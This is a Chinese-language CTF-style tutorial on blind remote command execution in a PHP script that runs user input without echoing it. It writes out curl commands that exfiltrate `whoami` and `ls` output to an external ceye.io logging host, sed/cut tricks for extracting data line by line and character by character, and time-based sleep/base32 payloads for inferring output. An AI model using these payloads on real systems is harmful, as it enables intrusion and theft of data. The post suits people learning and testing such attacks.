前言
想必大家遇到RCE的题目不算少数,那么如果题目可以命令执行,却没有回显,那么我们应该如何有效打击呢?
盲打RCE
先看这样一段函数:1
2
3
$cmd = $_GET[`cmd`];
echo `$cmd`;
对于这样的情况,我们可以直接?cmd=ls
即可拿到回显:1
docker-compose.yml flag index.php
但是如果题目变成1
2
3
$cmd = $_GET[`cmd`];
`$cmd`;
又该怎么办呢?
这里的命令执行结果显然不会打印出来,那么我们如何获取到这个结果?
这里介绍一种方法:1
curl http://ip.port.b182oj.ceye.io/`whoami`
我们可以将回显直接打出来
而这里用了一点反引号可以直接执行命令
所以最后打出来的应该是1
http://ip.port.b182oj.ceye.io/www-data
我们在vps上应该可以看到这样的信息即可获取到命令执行结果
但是大家有没有想过,如果我们这里用ls会是什么结果呢?1
curl http://ip.port.b182oj.ceye.io/`ls`
显然,我们只打印出了第一列的值:1
http://ip.port.b182oj.ceye.io/docker-compose.yml
那么剩余的怎么办?
就要用到接下来的sed命令
sed作为Linux三剑客之一,功能十分强大
我们看一下用法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-n, --quiet, --silent
suppress automatic printing of pattern space
-e script, --expression=script
add the script to the commands to be executed
-f script-file, --file=script-file
add the contents of script-file to the commands to be executed
--follow-symlinks
follow symlinks when processing in place
-i[SUFFIX], --in-place[=SUFFIX]
edit files in place (makes backup if SUFFIX supplied)
-l N, --line-length=N
specify the desired line-wrap length for the `l' command
--posix
disable all GNU extensions.
-r, --regexp-extended
use extended regular expressions in the script.
-s, --separate
consider files as separate rather than as a single continuous
long stream.
-u, --unbuffered
load minimal amounts of data from the input files and flush
the output buffers more often
-z, --null-data
separate lines by NUL characters
--help display this help and exit
--version output version information and exit
我们需要用到这里的-n
测试一下:1
2
3
4
5
6root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '1p'
docker-compose.yml
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '2p'
flag
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p'
index.php
相当完美的实现了行的划分,可以依此打出所有行信息
那么问题又来了
打出来的信息可能会受到长度的限制,这又该如何解决呢?
这里又要用的强大的指令cut
同样我们看一下用法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15-b, --bytes=LIST select only these bytes
-c, --characters=LIST select only these characters
-d, --delimiter=DELIM use DELIM instead of TAB for field delimiter
-f, --fields=LIST select only these fields; also print any line
that contains no delimiter character, unless
the -s option is specified
-n (ignored)
--complement complement the set of selected bytes, characters
or fields
-s, --only-delimited do not print lines not containing delimiters
--output-delimiter=STRING use STRING as the output delimiter
the default is to use the input delimiter
-z, --zero-terminated line delimiter is NUL, not newline
--help display this help and exit
--version output version information and exit
我们需要用到这里的-c
我们测试一下1
2
3
4
5
6root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p' | cut -c 1
i
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p' | cut -c 2
n
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p' | cut -c 3
d
一个字符一个字符太慢?
那可以截取段:1
2
3
4
5
6root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p' | cut -c 1-3
ind
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p' | cut -c 2-4
nde
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p' | cut -c 3-5
dex
故此可以打出任意行,任意长度的信息
Time-Based-RCE
第一次是在swpu上看到:
假设我们这样1
?cmd=if [1=1];then sleep 10;fi
浏览器则会睡眠10秒后才响应1
而?cmd=if [1=2];then sleep 10;fi
则会立即响应
那么我们可以利用这种类似sql盲注的方法进行RCE执行结果获取1
?cmd = if [$(whoami|cut –c 1)=w];then sleep 10;fi
如果成立,则会类似盲注一样,待响应10s,如果错误则会立即回显
但我们输出的结果里可能会带有其他字符,所以可以经过Base32处理一下,这样输出的只有大写字符和数字,以及等号
类似于:1
?cmd = if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi
而在github上也有类似的利用工具:
https://github.com/dancezarp/TBDEx